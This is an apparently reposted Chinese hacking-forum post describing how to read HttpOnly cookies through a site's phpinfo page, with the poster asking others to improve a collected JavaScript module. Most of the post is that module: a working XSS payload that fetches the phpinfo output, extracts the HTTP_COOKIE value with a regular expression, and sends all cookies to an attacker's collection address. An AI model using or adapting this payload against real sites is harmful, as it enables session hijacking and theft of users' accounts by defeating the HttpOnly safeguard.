特定情况下phpinfo获取cookie(突破)httponly
2020-05-08 05:57:33 Author: www.t00ls.net(查看原文) 阅读量:300 收藏

这个模块是之前收集的 实现 是实现了 可是有点不完善纳 有大佬给改改吗

模块代码

function createXmlHttp() {
    if (window.XMLHttpRequest) {
       xmlHttp = new XMLHttpRequest();               
    } else {
       xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
}
function getS() {
    var Url = 'PHPinfo的地址';
    createXmlHttp();
    xmlHttp.onreadystatechange = writeS;
    xmlHttp.open("GET", Url, true);
    xmlHttp.send(null);
}
function writeS() {
    if (xmlHttp.readyState == 4) {
     var x = xmlHttp.responseText.match(/<td[^<>]+?>_SERVER\["HTTP_COOKIE"\]<\/td><td[^<>]+?>([\w\W]+?)<\/td>/);
     if (x){
        var url = "自己收取cookie的地址" + x; //x 为带httponly cookie的所有cookie
        createXmlHttp();
        xmlHttp.open("GET", url, true);
        xmlHttp.send(null);  
       }   
    }
}
getS();


文章来源: https://www.t00ls.net/articles-55912.html
如有侵权请联系:admin#unsafe.sh